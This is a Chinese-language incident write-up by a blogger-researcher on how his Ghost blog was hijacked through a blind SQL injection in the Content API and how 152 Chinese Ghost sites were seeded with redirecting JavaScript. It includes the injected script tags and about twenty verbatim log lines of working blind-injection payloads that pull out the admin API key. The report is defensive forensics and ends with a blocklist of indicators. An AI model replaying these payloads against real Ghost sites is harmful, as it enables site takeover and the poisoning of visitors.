10 月 25 日上午,笔者收到朋友反馈,说本站的《OPUS:心相吾山》测评文章打开时会出现问题:先是弹出绿色的加载条,过几秒之后显示“链接参数无效”,很像是被植入了恶意代码。现场情况如下。

笔者发现确有其事,然而当时没带电脑,只好先用阿里云手机 APP 关闭服务器、保存硬盘快照。当天晚上分析了一番,发现那篇文章被注入了 3 条恶意 js:

<script src="//apple99[.]cc/nmvah/maosu/6.js"></script>
<script src="//apple99[.]cc/nmvah/maosu/6.js"></script>
<script src="//apple99[.]cc/nmvah/maosu/6.js"></script>

显然笔者的博客已被骇入。本文将讨论两个主题:本站是如何被骇入的;攻击者对全网 Ghost 博客做了什么。

0x00 本站被骇入之始末

本站是 Ghost 博客,用 docker 运行在阿里云 VPS 上。2020 年建站至今,笔者印象中更新版本仅 3 次,最近的一次是 2022 年更新到 5.8.2。换句话说,本站的 Ghost 有四年未曾更新了。身为安全研究员,如此懒散确实不应该;然而笔者也有若干苦衷。

近年来,Ghost 在商业化的道路上狂飙,引入了邮件订阅、付费 member 等大量功能,这些垃圾功能会影响界面,需要笔者动手裁剪掉,非常麻烦。而且,裁剪上述功能是需要改 ui 主题甚至改 js 代码的,改得越多,下次更新越可能不兼容,于是下次更新负担又更重。另外,笔者去年也想过从 v5 更新到 v6 大版本,然而 v6 不再支持 SQLite 数据库,必须迁移到 mysql,自动迁移失败了,笔者也不知道为什么。于是版本升级一直搁置,直到本次事发。

💡
当晚的事件调查是由 agent 完成的,笔者驾驶 DeepSeek-V4.1-flash(OpenCode) 和 GPT-6.1-sol(Codex) 各调查了一遍,结论一致。今天的复盘中,笔者将按照人类的常规思路重新调查。

本站几乎是只读站(评论功能是委托给 Github issue 实现的),所以攻击者想要往页面注入内容,就一定要拿到管理员权限、请求管理员接口(也就是 /ghost/)。我们从 nginx 日志里拖出所有的 /ghost/ 访问:

近 14 天的 nginx 日志,筛选出返回码为 200、30x 的请求
▲ 近 14 天的 nginx 日志,筛选出返回码为 200、30x 的请求

由于 Ghost 运行在容器内、nginx 运行在外层宿主机,所以如果攻击者没有逃逸 docker,则 nginx 日志就是可信的。

攻击者的请求里面有一个常量 595acd8f13c14d79a10527399d,这是 Zapier Integration 的 api key。它是 Ghost 官方自带的集成,用于实现“发博客之后自动转发到 facebook”等功能。我们来看攻击者是如何使用这个 api key 的:

/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&limit=1&fields=slug	200	126
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN 1=1 THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	500	660
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN 1=0 THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&limit=1&fields=slug	200	126
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN 1=0 THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN 1=1 THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	500	660
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 100) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	500	914
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 50) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	500	912
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 25) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	500	912
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 13) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 19) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 22) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 24) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	500	912
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN (LENGTH((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1)) <= 23) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(80))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	500	910
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(56))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	500	910
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(44))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(50))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631
/ghost/api/content/posts/?key=595acd8f13c14d79a10527399d&filter=slug:['||CASE WHEN ((SELECT id FROM api_keys WHERE type=CHAR(97)||CHAR(100)||CHAR(109)||CHAR(105)||CHAR(110) ORDER BY id ASC LIMIT 1) < (CHAR(53))) THEN hex(randomblob(1000000000)) ELSE 0 END||',opus-prism-peak]	200	29631

显然是布尔盲注。查阅资料,得知这个漏洞是 CVE-2026-26980,Reddit 上有用户报告了相同的被骇入情况。原始漏洞报告语焉不详,只提到跟 slug:[ 有关,好在 Github 上有研究者放出了 PoC。当攻击者请求 /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...] 时,slug 参数会被拼接进查询条件中,于是形成布尔盲注。

读者可能会好奇攻击者怎么能知道 Zapier 的 Content API Key。实际上,根据业务需要,它是公开的,从首页的 HTML 中就能读出来:

攻击者通过布尔盲注,拿到 Zapier 集成的 admin api key。这个 key 可以做很多事,包括读写全站文章、修改 tag、修改主题等,但是不能 RCE。

攻击者从 2026/10/12 23:35:37 开始盲注,到 2026/10/12 23:48:02 注入完成,接着发了两个请求:

GET /ghost/api/admin/posts/?filter=status:published&limit=1&fields=id,slug,title,updated_at,mobiledoc,lexical
PUT /ghost/api/admin/posts/6a76da6096374c00011a1876/

其中,6a76da6096374c00011a1876 正是《心相吾山》评测文章的 id。攻击者改写了该文章内容,注入恶意 js 代码。从 10 月 12 日到 25 日,该页面共有 258 位访客受到影响(每个 IP 视为一名独立访客)。

前文提到,《心相吾山》文章被重复注入了 3 次恶意 js。这是因为,攻击者一共实施了两次攻击、做了三次 PUT。我们可以整理出时间线:

时间行为源 IP
10-12 22:28:05~23:35:34漏洞探测,确定存在 CVE-2026-2698039.144.182.155
10-12 23:35:39~23:48:02SQL 盲注获取 admin api key39.144.182.155
10-12 23:48:02验证窃取的 admin api key 有效39.144.182.155
10-12 23:48:03PUT api 写入恶意 js39.144.182.155
10-13 00:17、02:15访问页面,验证恶意 js 已写入文章39.144.182.155
10-23 02:50:57~03:02:53再次漏洞探测39.144.182.187
10-23 03:02:56~03:39:33再次 SQL 盲注获取 admin api key39.144.182.187
10-23 03:25:04此时 api key 尚未提取完,攻击者验证 10-12 窃取的 api key 有效39.144.182.187
10-23 03:25:06第二次 PUT api 写入恶意 js39.144.182.187
10-23 03:39:33本轮 SQL 注入完成,第三次 PUT api 写入恶意 js39.144.182.187
10-23 04:24:22访问页面,验证恶意 js 已写入 OPUS 评测文章39.144.182.187

核查 Ghost 审计日志,确认 10 月仅发生了以下三次内容变更,均为 Zapier 集成所为:

2026-10-23 03:39:33  edited  post  《OPUS:心相吾山》评测:从外向内的自我探寻  integration
2026-10-23 03:25:06  edited  post  《OPUS:心相吾山》评测:从外向内的自我探寻  integration
2026-10-12 23:48:03  edited  post  《OPUS:心相吾山》评测:从外向内的自我探寻  integration

其他日志未见异常记录。到此为止,本站自身被骇入的过程已经明确。至于恶意跳转后的情况,笔者也略微分析了一下,大致是诱导下载 APP。

0x01 宏观攻击事件调查

Ghost 是市占率颇高的 CMS 系统,除了个人博客用途之外,还有大量的组织用 Ghost 发布内容。从本站所受的攻击来看,10 月 12 日 23:48:02 被窃取 admin api key,一秒钟之后即写入恶意 js,说明攻击已经自动化。因此,本轮攻击的受害网站不可能仅限于本站。

鉴于网上暂且没有对此次事件的分析(截止 10 月 29 日,apple99[.]cc 都未被微步情报中心视为恶意域名),笔者来做一次系统性的调查。由于恶意网站本身采用简体中文,故攻击是面向国内用户的,所以我们这次也只关心国内网站。

通过 fofa 查询 app="Ghost" && country="CN",可查到 4345 条结果、1086 个独立 IP:

接下来爬取这 4345 个网站。这些网站里很多都访问不上,另有一些网站实质上并非 Ghost。一些 Ghost 网站同时监听了多个端口、一些是 www.xxx.com 与 xxx.com 域名指向同一个网站。做好筛选和聚合之后,剩余 696 个站点能确认是 Ghost、能访问到最新一篇文章。分析可知:

  • 135 个站点被投毒到 apple99[.]cc。其中,27 个站点是全站被投毒。
  • 33 个站点被投毒到 yan[.]wuyagg[.]xyz。其中,20 个站点是全站被投毒。
  • 合计 152 个站被投毒,占国内 696 个 Ghost 站点的 21.8%。
💡
全站被投毒是指攻击者将 js 注入了默认页面,所以首页、全部文章、连同 404 页面都被投毒。

至于具体的恶意 js 文件,见下表所示。

脚本全站投毒文章投毒
apple99[.]cc/nmvah/maosu/6.js27135
yan[.]wuyagg[.]xyz/hz.js821
yan[.]wuyagg[.]xyz/page.js76
yan[.]wuyagg[.]xyz/jiji.js66

笔者认为 yan[.]wuyagg[.]xyz 投毒与 apple99[.]cc 投毒是同一攻击者所为,因为攻击手法类似,都是跳转到外部网页,都是一部分网站被全站投毒、另一部分网站仅文章投毒。另外,对于那些同时被二者投毒的 16 个网站,全部是仅文章被投毒。

部分被投毒的站点
▲ 部分被投毒的站点

观察被投毒的站点,它们当前的 Ghost 版本介于 5.1 到 6.72 之间,152 个被投毒站点中有 150 个站点 ≤ 6.19.0(即 CVE-2026-26980 影响范围)。剩余的 2 个站点推测是先被攻击、后升级版本。

版本范围国内站点数量被投毒数量该版本范围内 Ghost 站点被投毒比例
0.x3200
1.x1200
2.x2500
3.x3300
4.x6000
5.x23012654.8%
6.0 ~ 6.19.0452453.3%
> 6.19.025920.8%

表中可知,Ghost 5.x 的站点高达 54.8% 被投毒;Ghost 6.0 ~ 6.19.0 的站点有 53.3% 被投毒,可见本次攻击范围之广。

攻击者如何决定哪些站点要全站投毒、哪些站点仅投毒文章?笔者无法判断。能收集到的指标,比如 Ghost 版本号、IP 在境内还是境外,似乎都与“全站是否被投毒”之间没有统计学关系。举个例子,42.200.84.0/24 网段内有 18 个 Ghost 站,其中 16 个被投毒,8 个是全站投毒,8 个只投毒文章。显然攻击者不是看 IP 决定是否投毒全站的。

那么,对于仅投毒文章的站点,攻击者会投毒多少篇文章?笔者作了三个假设:一是攻击者会投毒某个时间点之后的文章;二是攻击者投毒固定比例的文章;三是攻击者投毒数量与 Ghost 版本有关。调查之后,这些假设都被否定,我们仍然不知道攻击者的决策方式,只知道攻击者总是投毒站点中最新的那些文章。如下图所示,大部分的站点都是仅被投毒一篇文章,也有站点被投毒了 51 篇。

为避免继续被 Ghost 漏洞攻击,笔者已经在 agent 的帮助下将本站静态化。下一篇文章将描述相关经验。

最后,给出本次攻击的 IOC 清单,建议安全运营人士拉黑:

apple99[.]cc
yan[.]wuyagg[.]xyz
1[.]oeae4[.]com
*[.]initll[.]com
apple-3[.]oss-cn-hongkong[.]aliyuncs[.]com